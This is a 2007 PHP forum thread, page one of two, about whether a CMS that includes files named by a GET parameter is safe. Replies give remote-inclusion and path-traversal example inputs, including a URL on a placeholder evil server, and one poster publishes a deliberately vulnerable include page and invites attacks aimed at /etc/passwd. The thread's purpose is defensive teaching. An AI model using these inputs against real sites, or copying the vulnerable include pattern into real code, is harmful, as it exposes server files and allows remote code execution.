Page 1 of 2
This is safe, right?
Posted: Mon Oct 08, 2007 5:11 pm
by toasty2
In my simple Content Management System, the page to be viewed is passed in $_GET['a']. I include the page defined in $_GET['a'], but I append .txt to it. Is that safe? (Pages are stored in .txt files.)
Posted: Mon Oct 08, 2007 5:15 pm
by VladSun
I don't think so ... Examples:
Code: Select all
// RFI
$_GET['a'] = "http://evil_server.com/evilcode"
//LFI
$_GET['a'] = "../../../secret";
Posted: Mon Oct 08, 2007 5:23 pm
by RobertPaul
Not safe, for the reasons VladSun gave.
The simplest thing to do, without changing how your CMS actually works, would probably be to check $_GET['a'] with
ctype_alnum(). That will immediately flag any URL/directory manipulation. If it passes that then make sure it exists as a local file with file_exists() before including it.
Posted: Mon Oct 08, 2007 7:06 pm
by toasty2
That doesn't affect my CMS. Here's an excerpt from one of my functions:
Code: Select all
if (file_exists('content/'.$p.'.txt'))
{
$page = formatOutput(file_get_contents('content/'.$p.'.txt'));
}
else
{
$page = getError(404);
}
return $page;
($p is $_GET['a'])
I also already check for ".."
Posted: Mon Oct 08, 2007 7:14 pm
by VladSun
Still vulnerable to "../.." values. Imagine you have "/home/toasty2/secret.txt". Then by setting "../../../home/secret" for example, one could read the contents of your file.
One way to solve it is to use prefixes for your include files - e.g. "pre_page1.txt" and include by "include('content/pre_'.$p.'.txt')"
EDIT: You've edited your last post while I was writing

Posted: Tue Oct 09, 2007 10:40 am
by Mordred
Prefixes won't help, content/prefix/../../secret/file would still work!
The correct solution is NOT to use $GET['a'] directly
at all.
Put it in a switch:
Code: Select all
switch ($p) {
case 'page1': include('../inaccessible_from_web/page1.txt');
...
default: include('../inaccessible_from_web/error.txt');
}
Posted: Tue Oct 09, 2007 10:45 am
by feyd
Interestingly enough, there's a thread linked from Useful Posts on such subjects as this. It's been around for quite some time and still valid.
Posted: Tue Oct 09, 2007 11:37 am
by VladSun
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.
As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Posted: Tue Oct 09, 2007 11:51 am
by Zoxive
VladSun wrote:Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.
As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..
/../../../../var/
Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/
Not tested though.
Posted: Tue Oct 09, 2007 11:54 am
by VladSun
Zoxive wrote:VladSun wrote:Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.
As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..
/../../../../var/
Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/
Not tested though.
Code: Select all
include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...
Posted: Tue Oct 09, 2007 12:05 pm
by Zoxive
VladSun wrote:
Code: Select all
include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...
Yes, and i just tested it. the ../ ignore the content and 'pre_', as what they are made to do..
pre.php
Code: Select all
include('content/pre_/../../dn.php');
// echos hi
dn.php (Same Directory as pre.php)
Posted: Tue Oct 09, 2007 12:09 pm
by VladSun
I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt
pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...
Posted: Tue Oct 09, 2007 12:15 pm
by Zoxive
VladSun wrote:I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt
pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...
Yes i know what you meant. In my example Directory `content`, and `pre_` do
not exist. Do you not understand how `../` works?
Posted: Tue Oct 09, 2007 12:27 pm
by VladSun
Zoxive wrote:Do you not understand how `../` works?
Give me your best shot:
http://ipclassify.relef.net/1.php
Code: Select all
<html>
<head>
</head>
<body>
<pre>
<?php
include("contents/pre_".$_GET['a'].".txt");
?>
</pre>
</body>
</html>
Code: Select all
root@mail:/www/ipclassify.relef.net# pwd
/www/ipclassify.relef.net
root@mail:/www/ipclassify.relef.net# ls -l /etc/passwd
-rw-r--r-- 1 root root 1716 2007-08-28 23:34 /etc/passwd
root@mail:/www/ipclassify.relef.net# ls contents/
pre_1.txt
Posted: Tue Oct 09, 2007 12:42 pm
by Mordred
VladSun wrote:Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.
As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Yes it would work, perhaps you should try it first?
And what does register_globals have to do with this at all?